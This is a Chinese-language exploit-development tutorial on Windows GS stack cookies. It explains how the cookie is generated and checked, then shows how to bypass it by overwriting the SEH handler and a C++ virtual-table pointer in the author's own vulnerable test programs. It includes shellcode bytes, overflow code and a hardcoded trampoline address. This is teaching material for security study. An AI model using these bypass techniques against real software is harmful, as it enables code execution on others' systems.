EXP編寫學習之繞過GS

棧中的守護天使 :GS
GS原理
向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。
Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。
棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。
函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。
Security Check過程中,比較棧中的Security Cookie與data節中的副本,如果不吻合,則棧中發生了溢出。
檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。
在VS2005以后的版本,添加了變量重排技術,把緩沖區放到最下面,防止溢出到變量中,同時還把指針參數和字符串參數復制到棧頂,防止函數參數被破壞。
Security Cookie的生成
系統以data節的第一個 DWORD值作為Cookie種子,或稱為原始Cookie(所有函數的Cookie都用它生成)。
程序每次運行,種子都不同,具有很強的隨機性。
在棧幀初始化以后,用ebp xor 種子 ,作為當前函數的Cookie,以此作為不同函數的區別,并增加隨機性。
函數返回前,用ebp 還原出 Cookie 種子 ,進行比較。
GS不會被應用的情況
函數不包含緩沖區。
函數被定義為具有變量參數列表。
函數使用無保護的關鍵字標記。
函數在第一個語句中內聯匯編代碼。
緩沖區不是8字節類型 且 大小不大于4個字節。
編譯指令 #pragma strict_gs_check(on) 可以為函數強制啟用GS。
逆向分析GS
1.用C語言寫一個簡單的程序,開啟GS編譯選項,Release編譯,觀察一下匯編代碼(沒有GS的匯編代碼相信讀者已經在之前的章節中看過了)。
#include #include int main(int arc, char** argv){ char szBuff[100] = { 0 }; strcpy(szBuff, argv[1]); printf("%s", szBuff); return 0;}

2.生成exe后,ida打開

可以看到,把安全cookie給eax, 與 ebp異或后, 放入棧中ebp-4的位置 ,然后再去函數末尾看一下。

可以看到,在printf調用后, 把棧中的 cookie拿出來給ecx , ecx與ebp異或后, 調用了一個函數。
這個函數就是檢查cookie的函數Security Check , 先把結果與.data節中的原始 cookie進行比較 , 如果相同則正常返回, 如果不同則跳轉。
然后繼續跟著跳轉往下看,可以看到最后調用了這個函數:

這里的ExceptionInfo是異常處理需要的結構體,可以在前面看到被賦值,看一下最后的函數調用。

最后這個函數設置了一個空的異常處理函數,之后調用系統自己的異常處理函數,并傳入之前的ExceptionInfo,之后獲取當前進程后強制結束。
看一下cookie,確實在.data節中, 并且是一個隨機值(讀者可以調試打開查看,IDA是靜態分析工具,cookie會在進入主函數前初始化)。

3.也就是說,如果cookie被覆蓋,則不會按照原來流程返回到被覆蓋的 retaddr ,驗證了前面的原理部分。
4.變量重排比較好理解,因為一般棧空間是按照你的變量順序來的,重排后,把緩沖區放到距離cookie最近的地方,防止溢出到關鍵變量,但是沒有溢出到cookie的情況。
5.根據以上總結與分析,硬剛GS還是比較困難的,所以我們不得不研究繞過GS的辦法。
繞過GS的方式
這里提出四點,我們實踐兩點,2與3 , 1與4是理論上可行的,但是實際環境幾乎不可能。
- 利用未被保護的內存突破GS
- 覆蓋虛函數突破GS
- 攻擊SEH突破GS
- 同時替換棧中和.data中的Cookie突破GS(硬剛覆蓋返回地址)
攻擊SEH突破GS
1.使用C語言寫一個測試程序。
#include #include void __stdcall test(char* str, char* out){ char buf[200] = { 0 }; __try { strcpy(buf, str); strcpy(out, buf); } __except (1) { printf("Error OverFlow"); }} int main(int arc, char** argv){ char buf1[500]; memset(buf1, 0x90, 1000); char buf2[100] = { 0 }; test(buf1, buf2); return 0;}
代碼簡要解釋 :test是一個溢出函數 且 注冊了SEH , 把buf1 的 500字節的數據 放入 test函數中的200字節大小的緩沖區中, 此時會造成溢出,溢出后會覆蓋到 out 的地址(參數地址 ebp + n),然后再次拷貝buf到out 的過程中 , 會觸發非法訪問,轉入異常處理流程,但是此時函數并沒有執行到返回,也就是沒有執行到 check cookie函數, 所以可以覆蓋SEH來實現繞過 GS。
2.開啟GS選項,關閉SafeSEH DEP ASLR選項與優化,生成exe,調試器打開查看, 查看后發現,SEH被編譯器擴展(不展開分析)。
好的好的,調試器定位一下test函數,在經過第一次strcpy后,查看SEH鏈 ,之后繼續運行, 訪問90909090產生異常。

這個可以證明,攻擊SEH是可行的,但是如果你想攻擊這個程序,你還得考慮繞過SafeSEH(主模塊的地址包含00,無法利用)。
3.修改一下測試代碼 ,加入shellcode ,用來展示利用過程,溢出到系統的異常處理, 可以使用 msfvenom生成(參考上篇)。
#include #include unsigned char shellcode[500] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67""\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3""\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20""\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24""\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff""\x55\x08"; void __stdcall test(char* input){ char buf[200]; strcpy(buf, input); strcat(buf, input);} int main(int arc, char** argv){ memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode)); test(shellcode);} //代碼的簡單解釋//還是之前的原理,溢出到參數列表,造成strcat訪問異常,導致程序進入異常處理//但是我們沒有自己生成SEH,而是溢出到系統的SEH結構,這樣可以避免我們在這個知識點中關心SafeSEH的繞過

4.在shellcode中,確定偏移后,覆蓋系統的Handler即可。
#include #include unsigned char shellcode[500] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67""\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3""\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20""\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24""\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff""\x55\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; void __stdcall test(char* input){ char buf[200]; strcpy(buf, input); strcat(buf, input);} int main(int arc, char** argv){ int len = strlen(shellcode); memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode)); int* ptr = &shellcode[len]; *ptr = &shellcode; test(shellcode);}
運行進行測試,可以看到拷貝后,剛好覆蓋到handler。

不用調試器直接打開此程序 , 可以看到,成功執行shellcode。

攻擊虛函數繞過GS
’1.使用C++編寫一個漏洞程序 , 為了避免操作復雜化, 我們直接在程序中定義shellcode,來進行演示。
#include #include class Foo{public: void Overflow(char* src){ char buf[8] = { 0 }; strcpy(buf, src); bar(); } virtual void bar(){ } }; char shellcode[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; int main(int arc, char** argv){ Foo test; test.Overflow(shellcode); return 0;}
2.對代碼的介紹:Foo中的成員函數 Overflow存在溢出,且它調用了虛函數 bar , 如果我們能通過溢出,覆蓋到虛表指針,則可以實現漏洞利用
3.現在需要搞清楚,虛表的位置 , 調試器打開看一下。

可以看到,在調用成員函數的時候的兩個參數,這個對象只有4字節的大小,也就是只有一個虛表,跟進查看。

這里可以看到,目的地址為19FF0C , 對應的棧位置為8個0的數據, 對應buf大小。
19FF0C 到 虛表的偏移為 28 ,好的, 現在我們面臨一個 call eax的操作, 也就是調用虛函數。
那么覆蓋成什么數據才可以讓程序流程轉到我們的shellcode?
看一下匯編代碼, ebp-10 的位置為 19FF24 , 也就是對象的首地址 , 然后從19FF24中取出數據 給 eax。
eax = 19FF24 ,然后從eax中取出數據給 edx , edx = 40210C ,也就是edx是虛表。
然后從 edx中取出4字節數據, 給eax , eax = vftable[0] , 也就是第一個虛函數。
好的,思考一下,我們看到棧中的情況, shellcode的地址在 403018 , 那么我們是不是可以覆蓋虛表指針為403018 (沒有ASLR)然后程序會取shellcode的前4字節,作為虛函數執行。
shellcode前4字節設置為跳板地址。
4.現在準備call eax , 可以看到eax已經被覆蓋為 shellcode前4字節 90909090。
觀察寄存器可以發現, ecx edx ebp都可以利用, 例如 跳板地址的指令為 call ebp 或者 jmp ebp (選ebp還有個好處,可以跳過前4字節的垃圾指令)。

通過搜索跳板指令, 找到這個地址 0x77528A50(call ebp), 所以最后的利用方式是這樣的:
//0x77528A50char shellcode[] ="\x50\x8A\x52\x77\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x30\x40";
重新編譯,運行,調試,跟蹤, 程序來到了nop區執行 ,代表著成功利用
